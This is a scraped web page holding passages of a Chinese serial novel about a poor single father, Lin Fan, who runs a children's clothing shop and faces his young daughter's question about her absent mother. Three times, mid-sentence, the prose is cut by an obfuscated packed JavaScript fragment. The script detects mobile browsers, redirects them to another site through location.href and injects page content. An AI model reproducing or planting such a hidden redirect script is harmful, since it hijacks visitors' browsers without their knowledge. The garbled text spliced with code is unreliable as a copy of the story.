l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607515|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃娃:超市里的洋娃娃有贵的,120多的会唱歌、会眨眼,但他看了好久,最后选了35块的那个—— 娃娃的头发是金黄色的塑料丝,裙子是粉色的廉价纱质,脸上的油漆在左脸颊有点掉,但笑笑看到的瞬间,眼睛就亮了,伸出小手要抱。她抱着娃娃,用小奶音说: “娃娃,漂漂。” 林凡坐在客厅的旧沙发上,把女儿抱进怀里,看着她用小手摸娃娃的纱裙,眼眶有点红:“以后爸爸给笑笑做更漂亮的裙子,比娃娃的还漂漂,好不好?” 那天晚上,笑笑抱着娃娃睡着了,小胳膊紧紧搂着娃娃的腰,嘴角还带着笑。林凡坐在床边,借着手机的光,在之前上班剩下的笔记本上画起了童装设计图—— 他没学过设计,画得歪歪扭扭,一个裙子的裙摆画了五遍才满意,但每个图案旁边,都用彩色铅笔写着“笑笑喜欢”: 小兔子图案旁边写着“笑笑喜欢兔子”,小花朵图案旁边写着“笑笑昨天指了花”。 有天降温,最低温度到了零下2度,笑笑早上起来就有点蔫,摸额头有点烫。 林凡先给她用温水擦手心、脚心物理降温,擦了半小时,体温还是没降下来,只好抱着她去社区医院。 医生说需要输液,开了药和输液费,一共238元。他掏遍了所有口袋,只找出76块钱,都是零钱,急得在诊室门口直转圈。 正好王猛打电话来问店里的情况,听说笑笑发烧了,立刻说:“你在医院等着,我马上过去。” 王猛赶来的时候,还带了个保温袋,里面装着热粥和煮鸡蛋:“给孩子熬的小米粥,你也没吃早饭吧,先垫垫。” 他垫付了医药费,看着林凡抱着笑笑输液,叹口气说: “店里这个月的利润,我多分你点,你别总苦着自己,孩子也需要营养。” 林凡摇摇头,说:“不用,咱们当初说好平分的,我再想想别的办法,比如多攒点纸箱卖钱,周末再去批发市场看看有没有便宜的菜,能省点是点。” 傍晚的时候,笑笑的烧退了,又开始抱着洋娃娃在地毯上玩,偶尔还会把娃娃递到林凡面前,说“爸爸,抱”。 林凡看着女儿的笑脸,想起白天医生说的“孩子抵抗力弱,要多补充蛋白质,比如鸡蛋、牛奶”,心里又酸又暖—— 酸的是连每天给孩子煮个鸡蛋都要算计,暖的是笑笑精神好了,还能跟他笑。他知道,日子很难:要攒钱给笑笑买奶粉、交托儿所费用,还要凑小店的租金和进货钱; 有时候晚上关店后,他会坐在窗边算账,算着算着就有点慌,但只要看到笑笑喊“爸爸”,看到她抱着洋娃娃笑得开心,看到她把咬了一口的饼干递到他嘴边,他就觉得浑身都有劲儿。 这就像美国儿童心理学家布鲁斯??D??佩里在《早期依恋与儿童发展》中说的: “对贫困家庭的孩子来说,父母的陪伴不是奢侈品,而是抵御困境的‘心理盾牌’—— 一个温暖的拥抱、一次耐心的陪伴、一句温柔的回应,比任何物质都更能帮孩子建立安全感,让他们在长大后有勇气面对生活的难。” 现在,林凡的童装店里,依然堆着高高的旧货箱,柜台还是掉漆的木制柜台——是他从旧货市场花200元买的,边角用铁皮包了一下,防止磨坏; 但角落里的小地毯上,多了笑笑的新布偶——是王猛出差时买的,说“给孩子当礼物”;样品架上,挂着他给笑笑改的小裙子—— 用店里卖剩下的碎花布,自己缝的,裙摆有点歪,但笑笑很喜欢,每天都要穿;账本的第一页,用钢笔写着“笑笑的开支”,第一条就是“奶粉钱: 每月600元(4罐,150元/罐)”,下面还画了个小笑脸。每天晚上关店后,林凡都会抱着笑笑,坐在窗边的小凳子上看星星—— 老厂区的光污染少,能看到好多星星。笑笑会指着星星说“爸爸,亮”,林凡会告诉她:“那是北极星,不管走多远,看到它就能找到回家的路。” 虽然日子清贫,但父女俩的笑声,总能透过老旧的窗户,飘进安静的小区里,像冬日里的小太阳,温暖又有力量。 第五十章:女儿的温暖 家庭的温暖和女儿的笑脸,成了林凡在纷繁复杂的生意场中最坚实的后盾和最有效的清醒剂。上个月市区那家开了三年的童装店,排挤手段愈发隐晦且步步紧逼: 先是托批发市场的老供货商老李悄悄把每件童装的进货价涨了五毛钱——林凡后来私下找老李时,对方红着脸搓着手,指节上还沾着点布料的棉絮,声音压得极低: “不是我要为难你,对面张老板放了话,我要是不涨,以后他就不跟我拿货了”。 这五毛钱看似不多,却让他原本每件一块二的利润直接压缩了近15%,相当于每天要多卖30件衣服才能补上差额; 接着对方又找街边摆摊的水果贩、修鞋匠散布谣言,林凡好几次路过修鞋摊,都听见老鞋匠一边给皮鞋钉掌,一边跟顾客嘀咕: “林凡家的货是二手翻新,上次有个老太太说,孙子穿了身上痒,布料里藏着虱子呢”;更气人的是,张老板家的售货员趁顾客试衣服时,会故意把声音放得不大不小: “县城来的货哪有市区正经?你看这针脚歪的,线都露在外面,穿两天保准开线”。那段时间,市区柜台原本每天能接待50多位顾客,连续三天直接降到40人以下, 有位常来买衣服的张阿姨还特意拉着林凡的胳膊,手里攥着件没拆吊牌的小外套:“小林,我家孙子穿你家衣服一直挺好,怎么有人说你家货是翻新的?你可别骗我们这些老主顾啊”。 那天傍晚,林凡在店铺小隔间里对着泛黄的手写账本发愁。 隔间里没装电灯,只悬着一盏昏黄的充电台灯,灯光把账本上的字迹照得发虚,红笔圈着的三天销售额像三颗沉甸甸的石头: 第一天320元,第二天280元,第三天只剩250元,比平时少了近三分之一。账本边缘被他翻得起了毛边,指尖无意识地抠着折痕,指甲缝里还嵌着白天整理布料时沾上的棉绒。 门帘突然被“哗啦”一声撩开,带着股室外的寒气,王猛抱着裹着小棉袄的笑笑走进来,小家伙的棉袄领口沾着点饭粒,袖口磨出了圈小毛边,手里举着张皱巴巴的蜡笔画,奶声奶气地喊: “爸爸看!小太阳!”。 林凡低头一看,画纸上用断了头的红色蜡笔涂了个歪圆,红色边缘还晕着点蓝色—— 大概是小孩拿错了笔,周围扎着一圈歪歪扭扭的黄色“花瓣”,竟是朵不成形的向日葵,圆子旁边还用铅笔描了两个扭扭捏捏的字,左边像“爸”,右边也像“爸”,合起来勉强能认出是“爸爸”。 他蹲下来,膝盖在水泥地上磕得轻响,笑笑立刻伸出小胳膊搂住他的脖子,小手上还带着刚吃完烤红薯的甜香,亮晶晶的眼睛里映着他的脸,连他眉间的褶皱都看得清清楚楚。 原本焦躁得像乱鼓一样的心跳瞬间平稳下来,脑子里的混沌也慢慢散开:他拼尽全力跑批发市场、守柜台,不是为了跟张老板争高低、比输赢; 而是为了让笑笑将来能读上县城最好的小学,不用像他年轻时那样,攥着几块钱在零下几度的批发市场里挨冻受累,连口热馒头都舍不得买—— 那时候他常躲在市场角落,啃着凉硬的馒头,看着别家孩子穿着新棉袄跑过,心里酸得发紧。 与此同时,笑笑的成长也在悄然加速,每一个变化都像藏在日子褶皱里的小惊喜,轻轻一翻就露出来。 她的语言能力从上个月只会说“爸爸抱”“要糖糖”这种短句子,变成了能完整说出“爸爸今天早点回,陪笑笑搭木头好不好? 搭个大房子,爸爸住、笑笑住,还要给小黑(家里的straycat)留个小窗户”;路过店里的货架时,她会踮着脚尖扒着柜边, 小手指着最上层印着黑猫警长图案的笔记本,指甲盖还带着点粉色的指甲油——是前几天张阿姨给她涂的,仰着头问: “阿姨,这个本本能画小兔子吗?我想画小白兔,有长耳朵、短尾巴,还要画胡萝卜,画好了给爸爸,爸爸看了就不发愁了”。 最让林凡暖心的是,她开始有了模糊的“美”的意识——那件绣着向日葵的“笑笑牌”小褂子,是林凡特意找巷口的张裁缝做的。 前阵子带笑笑去公园,她指着路边金灿灿的向日葵,小手在风里挥着:“像小太阳,暖暖的,照得笑笑不冷”, 林凡当时就记在了心里,第二天特意去布店挑了块新疆长绒棉,指尖摸着布料软乎乎的,像云朵一样,又找张裁缝说: “麻烦您在胸口绣朵小向日葵,别太大,孩子穿着舒服,线也用软点的”。张裁缝当时笑着打趣,手里的针线还没停: “你这当爹的,比当妈的还细心,我家小子小时候,我都没这么上心”。 如今每次穿这件褂子,笑笑都会跑到店里的小圆镜前转圈圈,转得小棉袄都鼓起来,像只小皮球,然后拉着林凡的手晃:“笑笑衣服,漂亮!爸爸做的,爱爸爸!”。 有次林凡忙着核对进货的布票和账本,笔尖在纸上划得“沙沙”响,手腕都酸了,笑笑还从口袋里掏出张黑猫警长贴纸—— 边缘有点卷,是她攒了三天零花钱买的,踮着脚往账本封面上贴,贴歪了又撕下来,小眉头皱着,嘴里还嘟囔“不对不对”,最后歪歪扭扭地贴在“销售额”三个字旁边,说: “给爸爸的本本也变漂亮,爸爸就不皱眉头了”。看着账本上咧嘴笑的黑猫警长,他原本紧绷的肩膀瞬间就松了下来,连胳膊都觉得不酸了,指尖轻轻碰了碰贴纸,心里软得像化了的糖。 女儿的每一点变化,都像一把温柔的尺子,度量着林凡奋斗的意义,也提醒着他勿忘初心。 之前为了把市区的柜台撑起来,他连续半个月每天天不亮就骑着二八大杠去20公里外的批发市场进货。 凌晨四点的路上还结着冰碴子,寒风灌进领口像小刀子刮脸,他裹着厚棉袄,手套里的手冻得发麻,却不敢停——怕去晚了好布料被抢光。 车把上裹着块旧毛巾,是妻子缝的,有点粗糙的暖意,车后座的货包用麻绳捆得紧紧的,硌得后背有点疼,往往深夜十一点才回家,钥匙**锁孔时都能听见自己的心跳声。 直到有天推开家门,看到笑笑坐在门口的小板凳上,怀里抱着他去年冬天穿的旧棉鞋——鞋尖磨破了,里面还塞着她的小绒毯,绒毯上印着小草莓,带着股淡淡的奶香味。 小家伙看到他回来,眼睛一下子亮了,立刻站起来,把棉鞋往他手里递:“张奶奶说爸爸脚冷,笑笑给爸爸暖鞋,暖了好久呢”。 林凡接过棉鞋,指尖触到里面暖暖的温度,像电流一样传到心口,鼻子突然一酸,眼泪差点掉下来—— 他才猛然意识到:生意做得再大,赚的钱再多,也不能忘了回家的路,不能错过女儿成长的每一个瞬间。 这份警醒也悄悄影响了他的经营心思:他在县城店铺的角落摆了张刷着蓝漆的小木桌,桌角有点掉漆,是他从旧货市场淘来的,桌上放了袋彩色积木—— 有方块、圆柱、三角,都是他特意去玩具店挑的无毒塑料款,摸起来光滑不硌手,还放了几本翻得有点卷边的连环画,《小猫钓鱼》《小熊请客》《三只小猪》; 书页上还沾着点笑笑的口水印,都是她喜欢看的,让带孩子来的家长能安心挑衣服。有次一位妈妈带着三岁的儿子来买连体衣,孩子本来哭闹着要走,小手扯着妈妈的衣角; 眼泪还挂在脸上,看到积木后立刻安静下来,坐在小桌旁搭房子,搭得歪歪扭扭还拍手笑,那位妈妈笑着说:“你这儿想得真周到,我在别家买衣服,孩子总闹得我没法挑,下次还来你这儿”; 市区柜台则添了些印着葫芦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607516|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃、黑猫警长的铅笔和橡皮,每支铅笔才卖五毛钱,橡皮卖三毛钱,笔杆上的图案印得鲜亮,林凡还特意试了试,铅笔芯不容易断。 没想到摆上柜台第一个月就卖了120多件——葫芦娃的卖了72件,黑猫警长的卖了51件,有个小男孩拉着妈妈的手,小脸蛋涨得通红: “我就要林叔叔家的铅笔,跟我书包上的葫芦娃一样,能打败妖怪!”,成了小惊喜般的销售增长点。 月底盘账时,看着账本上密密麻麻的数字,林凡心里满是平静的满足: 县城店铺原本预计月销售额1800元,实际卖了2560元,其中连体衣卖得最好,83件,每件25元左右,占了销售额的一半还多; 市区柜台更超出预期,从预计的2200元冲到了3120元,除了童装,那些小文具就贡献了300多块,老顾客回头买的也占了三成。 他指尖轻轻划过账本上用蓝笔勾的增长线,墨水有点晕开,是他白天太急没等干。里屋突然传来笑笑模糊的呓语, “爸爸……糖……”,他掀帘进去,发现女儿蜷缩在他的旧棉被里,被子上还带着他的烟草味,小手里还攥着块没吃完的苹果味水果硬糖,糖纸有点皱,却攥得紧紧的,像握着宝贝。 他轻轻把账本放在床头柜上,账本边缘碰到了台灯座,发出轻响,他立刻屏住呼吸,小心翼翼地把女儿抱到她的小床上,给她掖好印着小花朵图案的被角—— 这床被单还是妻子怀孕时绣的,那时候她孕吐得厉害,却每天坚持绣几针,上面的小花朵歪歪扭扭,有的还少了片花瓣,却透着说不出的温暖。 窗外的月光透过窗棂洒进来,刚好落在笑笑恬静的睡颜上,长长的睫毛像两把小扇子,偶尔轻轻颤动一下,像是在做甜甜的梦,嘴角还微微翘着,大概梦到吃糖了。 生意场上的亏盈得失,固然能衡量买卖的好坏,但对林凡来说,女儿健康快乐的成长,才是衡量他此生成败的唯一标准。 就像上周,市区那家童装店的张老板特意绕到林凡的柜台找王姐——王姐在林凡这儿干了两年,手脚麻利,扎着个马尾辫,说话总是笑着,还特别会跟顾客打交道。 张老板拉着王姐的胳膊,声音压得低低的,带着点诱惑:“跟**吧,每月给你开800块工资,比在这儿多一倍,还不用干杂活”。 王姐却轻轻拨开他的手,拿起旁边的抹布擦了擦柜台,声音不大却很坚定:“跟着林哥干心里踏实,他进布料都想着给闺女挑软和的,上次我家孩子发烧,他还给我批了假,送了退烧药,你能做到吗? 而且他卖的衣服,都是自己先摸过布料、看过针脚的,有次发现一批布料有点硬,宁愿自己亏了也不卖,卖给顾客的都是放心货,我卖着也舒心”。 林凡当时在隔间里算账,笔尖顿了顿,听到这话,心里暖烘烘的,像揣了个小太阳。 他知道,前路还会有更多难事儿—— 可能是下个月批发市场的棉布突然涨3块钱一米,让成本又增加不少,他得连夜算账改定价; 也可能是街角又开了家新的童装摊,听说价格压得很低,会抢生意,他得想着怎么把服务做得更好; 还可能遇到下雨天,衣服晒不干,堆在仓库里发潮,影响进货。 但只要想到家里有笑笑的笑脸等着他—— 早上出门时,笑笑会把小太阳贴纸贴在他的外套口袋上,小手拍了又拍: 晚上回家时,笑笑会跑过来抱住他的腿,小脑袋在他裤子上蹭蹭:“爸爸今天有没有想笑笑?笑笑今天画了好多小兔子哦”—— 他就永远有往前闯的力气。 这把名为“笑笑”的成长尺,会一直刻在他心里,每一道刻度都写着温暖,提醒他每一步都要走得踏实、坚定,不辜负这份沉甸甸的幸福。 第五十一章:妈妈去哪里了? 夏日的午后,日头正烈得晃眼,老城区巷口那棵栽了三十年的梧桐树撑开浓绿的伞,蝉鸣就在层层叠叠的梧桐叶间打转。 老蝉拖着沙哑的长调,像磨过粗砂纸般滞涩,新蝉掺着细弱的嘶鸣,嫩得像刚抽芽的狗尾巴草,一老一少的声响缠在巴掌大的梧桐叶上。 叶边被晒得卷了浅黄的边,叶脉上还沾着清晨露水蒸发后留下的细小白痕,风一吹,叶子“哗啦”响,连蝉鸣也跟着晃,飘进巷子里王奶奶卖冰粉的吆喝声里: “冰粉——加红糖、撒花生碎咯——”。 阳光透过“笑笑宝贝屋”临街的玻璃门,门上贴着褪色的卡通贴纸(是去年笑笑用蜡笔画的小兔子,耳朵涂成了粉紫色,边角被穿堂风刮得卷了边,林凡几次想换; 笑笑都攥着他衣角说“要妈妈回来看到”,在浅棕色木质地板上投下细碎的光斑。光斑随着叶影晃,像撒了把会动的碎金子,落在地板的木纹里,连木纹都显得暖融融的。 这家开了三年的小店,货架从左到右码得整整齐齐,连最上层的商品都摆得没有一丝歪斜:最显眼的是卡通贴纸笔记本,浅粉色封面上的浅棕小熊怀里抱着颗红樱桃; 有本笔记本的小熊耳朵沾了点米白色透明胶——上次三年级的朵朵来买,不小心撕坏了角,林凡特意找了同色的胶补,怕显眼,还在胶边轻轻蹭了点蜡,让边缘更平滑; 中间层是裹着彩虹糖纸的铅笔,红、黄、蓝、绿的糖纸层层叠叠,阳光一照就撒下细碎的彩光,有的笔尾系着彩色棉绳,绳上还串了颗小塑料珠子,林凡说 “这样小朋友攥着不滑手”,上次隔壁班乐乐妈来买,还笑着反馈“我家乐乐现在写字都攥着珠子,比以前认真多了”; 天花板悬着三盏米色小灯笼,布面吸了梅雨季的潮气,摸起来软乎乎的,印着的浅淡星星纹被风拂得“沙沙”响—— 那是去年笑笑说“想摸星星”,林凡踩着凳子挂的,特意调得比柜台矮半头,“这样宝贝踮脚就能碰到”。 店里客人不多,林凡正蹲在柜台后整理新到的水彩笔。24色的水彩笔装在透明笔盒里,每支笔帽上都印着不同的小动物—— 兔子、小猫、小狗,都是附近实验小学孩子们最爱的款式。指腹蹭过小熊图案的植绒包装,软得像摸云朵,他特意把压了角的包装纸轻轻捋平,指尖在褶皱处顿了顿,像是怕碰疼了似的。 上周还有个扎高马尾的小姑娘,发梢别着粉色小卡子,踮脚扒着柜台喊: “林叔叔,粉色的能画出桃花吗?我想画给妈妈!”他记着这话,特意多进了两箱,想着“说不定还有孩子想画花给妈妈”。 柜台后的小仓库里,王猛正踮着脚够顶层的作业本,牛仔裤后兜露出半截HB铅笔,笔杆上还留着他咬过的牙印——他 算错数时总爱咬笔。32开的牛皮纸作业本摞得老高,每本的横线都是浅灰色,适合低年级孩子写字,他每数一本就轻轻敲下桌面: “一、二、三……”牛皮纸的糙气混着淡墨水味飘出来,还带点仓库里老木头的灰尘味。上周进的50本作业本,一周就卖了30本,他偶尔探头,额前碎发沾了纸絮,喊: “凡哥,算术本还剩二十本,要不要补?” 林凡应着“再补五十”,目光不自觉飘向角落——笑笑正坐在专属的蓝色小垫子上,垫子是她妈妈生前用晴纶线织的,洗了快两年还是软乎乎的; 兔子图案的眼睛是黑色塑料纽扣,一颗松了线,晃悠悠垂着(那是笑笑总揪着玩的地方,林凡之前想缝,笑笑不让,说“这样兔子眼睛会眨呀眨”)。 笑笑抱着一套12块的彩虹色木质积木,积木有长方形、正方形、三角形,颜色是鲜亮的红、黄、蓝、绿。 小手捏着积木块,指缝里沾了点木刺也没在意——上次她扎了木刺,林凡蹲在灯下挑了半天,之后每次玩积木前,他都会先把积木摸一遍,怕有刺扎到她。 她把长方体积木竖起来当墙,又往上叠正方体,叠到第三块时“哗啦”塌了,小嘴抿了抿,又重新捡起来,肉乎乎的脸颊鼓着,像含了颗没化的奶糖。 嘴里咿咿呀呀编故事,声音黏糊糊带奶气:“小房子…给爸爸放书…笑笑的积木…还要有小花…妈妈回来能看到…” 积木块偶尔掉在地上,她会立刻爬过去捡,额前碎发垂下来挡眼睛,也只是胡乱用手背抹一下——那碎发是林凡昨天给她剪的,剪得有点歪,笑笑对着镜子说“像小蘑菇”,还乐了半天。 这时,店门“叮铃”一声响,风铃的脆响像滴进温水里,打断了店里的宁静。 一对年轻夫妻带着个小女孩走进来:妈妈穿浅蓝连衣裙,裙摆是雪纺的,扫过门槛时,带起阵淡淡的栀子花香—— 是她领口布艺小雏菊胸针旁喷的香氛,那胸针是小女孩去年母亲节用彩纸做的,边缘还粘着亮晶晶的贴纸; 爸爸背着印着佩奇的卡通背包,背包里装着小女孩的粉色凯蒂猫水壶、湿巾,还有一双备用的白袜子,拉链头挂着小铃铛,是小女孩去年生日爸爸送的,走一步响一下,“叮铃叮铃”的; 中间的小女孩扎着两个羊角辫,辫梢系着粉***结,丝带长了点,垂在肩头晃。 淡粉色公主裙缀着镂空蕾丝花边,里面藏着银色细碎小亮片,跑起来亮片闪得像撒了星星,裙摆绽开,巷口路过的张阿姨都忍不住回头夸:“这小闺女,像朵刚开的桃花!” 她一手攥着爸爸的食指(爸爸指节圆圆的,指甲盖涂着透明护甲油,是妈妈上周给他涂的),一手勾着妈妈的衣角; 蹦蹦跳跳直奔玩具区,眼睛亮得像浸了星光,连呼吸都带着雀跃的轻喘,小胸脯一鼓一鼓的。 “妈妈,你看!那个穿纱裙的洋娃娃!” 她停在玩具架前,踮脚指着顶层,声音脆得像咬了口刚摘的脆桃,还带着点奶气。 那是个金发碧眼的洋娃娃: 金发是哑光的,梳成两条小辫子,发梢系着白丝带,不容易打结;粉色纱裙叠了三层,裙摆边缘缝着仿珍珠,摸起来滑溜溜的,阳光照上去泛着柔润的光; 娃娃的浅棕色睫毛是手工粘的,轻轻一碰就颤——这是林凡上周刚进的新款,定价不算低,他当时摸着纱裙想: 笑笑生日是下个月,到时候买个草莓蛋糕,把娃娃放在蛋糕旁边,再插几根彩虹蜡烛,笑笑肯定会攥着我衣角喊“爸爸真好”,说不定还会亲我一下。 年轻妈妈温柔地弯下腰,长发垂下来拂过女儿脸颊,女儿下意识蹭了蹭,像小猫蹭人。 妈妈笑着把头发别到耳后,右手扶着女儿的肩,左手顺着她的手指往上看,声音软得像棉花: “嗯,这个娃娃确实好看,睫毛还会动呢。 可是宝贝,家里书柜上已经有小兔子、小猫咪好几个娃娃啦,上次你还说要给小猫咪织小毛衣呢,咱们看看别的好不好? 比如那个会唱歌的小火车?小火车还能载着你的娃娃们去‘旅行’呢。” “不嘛不嘛!” 小女孩撅着嘴,晃着妈妈的手臂撒娇,羊角辫上的蝴蝶结跟着甩,差点扫到妈妈的脸颊, “这个娃娃有纱裙,我没有!我要给她梳头发,还要跟她睡觉,给她盖我的小被子!” 爸爸在一旁笑着上前,手掌带着点薄茧—— 他是修车的,手上总沾着机油,回家都洗好几遍——揉在女儿的头发上,女儿舒服地眯起眼睛,像只满足的小猫咪。 他轻轻蹭掉女儿鼻尖的汗珠,刮了下她的鼻子: “好好好,咱们小公主喜欢,那就买!不过说好啦,这个娃娃回家要自己收拾哦,不能再让妈妈帮你摆啦。” 说着掏出随身的黑色人造革钱包,打开时露出夹层里的照片: 那是一家三口上个月去游乐园拍的,照片上女儿举着棉花糖,笑得眼睛眯成缝,妈妈靠在爸爸肩上,也笑着。 他从钱包里数出几张十元纸币递过去,还朝妻子眨了眨眼;妻子无奈又好笑地摇摇头,指尖轻轻把蝴蝶结的丝带捋顺,又捏了捏两角: “你呀,总是惯着她,上次买的小兔子娃娃还没玩呢。” 一家三口的互动像幅浸了暖糖的画—— 妈妈走在后面,手里拎着女儿的小水壶,看着前面父女俩的背影,嘴角弯着,爸爸把女儿往上托了托,让她能抱着洋娃娃,女儿搂着洋娃娃,脸贴在爸爸颈窝里,声音飘过来: “爸爸,娃娃会不会冷呀?外面太阳好大,可是店里好凉。”“不会呀,宝贝抱着它,就暖和了,就像爸爸抱着你一样。” 爸爸替她们拉开店门,小女孩还回头朝妈妈喊:“妈妈快跟上!我们回家给娃娃穿新衣服,我要给它做个粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607517|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色小裙子!” 脚步声渐渐远了,风铃的余响细细的,像羽毛飘在空气里,店里还留着小女孩身上的甜香味,是她吃的草莓味糖果的味道。 可这寻常的温馨,却像颗小石子投进笑笑的心里,漾开一圈圈酸溜溜的涟漪。 她手里的积木“啪嗒”掉在地板上,滚了一圈停在林凡脚边,积木上还带着她的体温,暖暖的。 她的目光跟着积木转了转,又立刻挪回门口,乌溜溜的眼睛里映着门口的光影,连睫毛都没动一下,像被定住了似的。 刚才小女孩被妈妈抱在怀里的样子、阿姨用指尖擦她额头汗水的动作、叔叔笑着揉她头发的温柔,都像小钩子似的,勾着笑笑的目光挪不开,心里像被什么东西轻轻挠着,又酸又痒。 她下意识摸了摸自己的衣角—— 身上是件洗得发白的浅蓝色小T恤,是邻居张阿姨去年送的,当时还大了一圈,林凡给她卷了两层袖口,现在穿在身上,袖口已经洗得发毛,下摆短了一截,露出一小截腰腹,她赶紧把衣角往下扯了扯,怕被人看到。 T恤的领口有个小破洞,是上次玩积木时勾到的,林凡用同色的线缝了个小太阳,不仔细看看不出来,他说“这样笑笑就有小太阳啦”。 笑笑看得入了神,连最喜欢的积木都忘了。 她记得爸爸也会抱她,上次她发烧到38.5度,晚上烧得睡不着,爸爸把她抱在怀里,用额头贴她的额头,手掌带着点凉,拍着她的背哄她睡觉,还哼着跑调的摇篮曲—— 那是妈妈以前常唱的。爸爸也会给她擦汗,上次去公园喂鸽子,她追着鸽子跑得出汗,爸爸用柔软的纸巾轻轻擦她的脖子,还会吹吹,说“吹吹就不热啦,不疼哦”。 可每次她指着别的小朋友身边的妈妈问“那是谁”,爸爸都会揉着她的头说 “妈妈去很远的地方出差啦,要等笑笑长大才回来”,然后赶紧转移话题,从柜台底下摸颗水果糖塞给她—— 是她最爱的橘子味。她那时候不懂“出差”是什么意思,只知道朵朵的妈妈、乐乐的妈妈,都不会“出差”,每天都会来接他们放学。 店里又恢复了安静,只有吊扇转着的“嗡嗡”声,叶片影子在地板上晃来晃去,投在笑笑的垫子上,像一个个黑色的圈,跟着风扇转。 笑笑慢慢低下头,小手无意识地揪着垫子上的兔耳朵绒毛,一根一根地扯,绒毛掉在她的腿上,她没看见,只觉得心里空落落的,像小时候弄丢的小熊玩偶—— 那是妈妈买的,后来找不到了,她哭了好久,爸爸找遍了整个屋子都没找到,怎么找都找不到。 刚才小女孩抱着洋娃娃笑的样子,一直在她脑子里转,她突然想起幼儿园: 朵朵有妈妈送她上学,每天都穿漂亮的裙子,还会带草莓味的小蛋糕,香味离老远就能闻到,朵朵还分给她吃过一次,甜甜的; 乐乐有妈妈接他放学,妈妈力气很大,能把乐乐举得高高的转圈圈,乐乐的笑声能传遍整个幼儿园,连老师都笑。 那时候她只会站在旁边看,心里有点痒,想“要是我妈妈也在就好啦”,可今天看到这一家三口,心里好像破了个小洞,风往里面灌,凉凉的,还有点疼。 林凡整理完最后一盒水彩笔,直起身时腰“咔嗒”响了一声—— 去年开店装修时,他搬货架闪了腰,现在蹲久了就会疼。他揉着腰,指尖按在腰上的穴位,轻轻按了按,目光扫过货架,又立刻落到角落里的笑笑身上。 往常这个时候,笑笑早该举着歪歪扭扭的积木房子跑过来,小手拉着他的裤腿喊 “爸爸你看,这是我们的家,有爸爸,有笑笑,还有妈妈的房间”,可今天她却安安静**着; 连小脚丫都没动一下,小脚丫上的粉色袜子还是昨天刚穿的,袜尖有个小草莓图案。 林凡心里“咯噔”一下,快步走过去,蹲下身时先捡起掉在地上的积木—— 积木上还带着笑笑的体温,软软的—— 然后才轻轻摸了摸笑笑的额头,指尖先碰了碰她的刘海,刘海被汗水打湿,贴在额头上,他轻轻把刘海捋到旁边。 指尖传来温热的触感,不像生病的样子: “笑笑,怎么不玩积木啦?是不是困了? 爸爸带你去里屋睡会儿好不好?里屋有你喜欢的小熊枕头。” 第五十二章 妈妈会回来吗 笑笑慢慢抬起头,小嘴唇抿得紧紧的,原本亮晶晶的眼睛里蒙了一层水汽,像蒙了层雾。 看着林凡的时候,眼神里有疑惑,有羡慕,还有点委屈,像迷路的小猫,不知道该往哪里走,尾巴都耷拉着。 她盯着林凡的眼睛,小嘴抿了抿, 然后用小得几乎听不见的声音,怯生生地问: “爸爸……妈妈呢?妈妈是不是真的在出差呀?” 林凡的手猛地顿住,像被冻住了似的,指尖的温度瞬间消失。 心脏像是被一只无形的手攥住,疼得他吸了口气,连呼吸都变得困难,喉咙里像堵了块棉花。 他一直逃避这个问题—— 自从妻子去年夏天留下一张“对不起,我走了”的纸条离开后,他就把那张纸条折成小方块,塞进钱包最里层,每次整理钱包都会摸一摸,纸边已经被磨得发毛。 他每天早上六点就来开店,先把玻璃门擦得亮堂堂,再把笑笑的蓝色小垫子晒在门口的梧桐树下,让垫子沾点阳光的味道; 晚上关店后,会给笑笑讲《小熊的故事》,讲完还会哼妻子以前常唱的摇篮曲,虽然跑调,笑笑却总听得眯着眼睛; 周末带她去公园喂鸽子,他会提前买好小米,装在笑笑的小口袋里,看着女儿追着鸽子跑,心里又暖又酸—— 他总怕自己做得不够好,怕那个空缺填不满。 他以为笑笑还小,不懂“妈妈”意味着什么,可今天, 女儿这句天真又直接的话,像一把小剪刀, 把他小心翼翼裹了一年的伤口,血淋淋地撕开了,连带着那些假装坚强的日子,都碎了。 “别的小朋友……都有妈妈……” 笑笑的声音带上了哭腔,眼圈以肉眼可见的速度红了,大颗大颗的泪珠在眼眶里打转,像两颗透明的玻璃珠, “笑笑……也想要妈妈……妈妈去哪里了?是不是不喜欢笑笑了?是不是笑笑不乖,妈妈才走的?” 泪珠终于掉下来,砸在林凡的手背上,烫得他一颤,顺着手背往下流,凉丝丝的,却像烧红的针,扎在他的心上,密密麻麻地疼。 他张了张嘴,却发不出声音,喉咙像被什么堵住了,只能发出沙哑的气音。 只能伸手把笑笑紧紧抱在怀里,手臂收得紧紧的,好像怕她下一秒就消失似的,比上次她发烧时抱得还紧。 下巴抵着她的头顶,鼻尖传来女儿头发上淡淡的肥皂香—— 那是他每天晚上给她洗头发时用的儿童香皂,柠檬味的,泡沫很多,笑笑总说“像小云朵”。 可此刻,这熟悉的味道却让他鼻子发酸, 眼泪差点掉下来,他赶紧眨了眨眼,把眼泪憋回去——他不能在女儿面前哭。 他拍着笑笑的背,一遍遍地说: “笑笑乖,爸爸在呢,爸爸会一直陪着笑笑……笑笑最乖了,妈妈没有不喜欢笑笑…… 